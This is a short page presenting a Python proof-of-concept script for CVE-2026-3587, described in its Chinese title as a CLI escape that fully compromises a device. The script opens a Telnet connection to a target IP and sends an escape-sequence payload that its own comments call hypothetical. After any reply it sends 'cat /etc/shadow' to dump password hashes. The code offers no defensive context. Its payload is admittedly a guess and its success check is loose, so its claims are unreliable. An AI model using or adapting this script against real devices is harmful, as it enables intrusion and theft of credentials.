CVE-2026-3587 CLI接口逃逸导致设备完全沦陷

import socket # CVE-2026-3587 PoC Concept # This script demonstrates how to trigger the hidden function in the CLI. TARGET_IP = "192.168.1.100" TARGET_PORT = 23 # Assuming Telnet/CLI port # Hypothetical payload to trigger the CLI escape sequence # The specific sequence depends on the device's implementation PAYLOAD = "\x1b[?25l\x1b[?2l" + "\r\n" def send_exploit(): try: print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) # Receive initial banner banner = s.recv(1024) print(banner.decode('utf-8', errors='ignore')) print("[*] Sending payload to trigger hidden function...") s.send(PAYLOAD.encode('utf-8')) # Check if we escaped the restricted interface response = s.recv(1024) if response: print(f"[+] Response received: {response.decode('utf-8', errors='ignore')}") print("[+] Restricted interface escaped. Sending arbitrary command...") s.send(b"cat /etc/shadow\r\n") result = s.recv(4096) print(result.decode('utf-8', errors='ignore')) else: print("[-] No response. Target might not be vulnerable.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()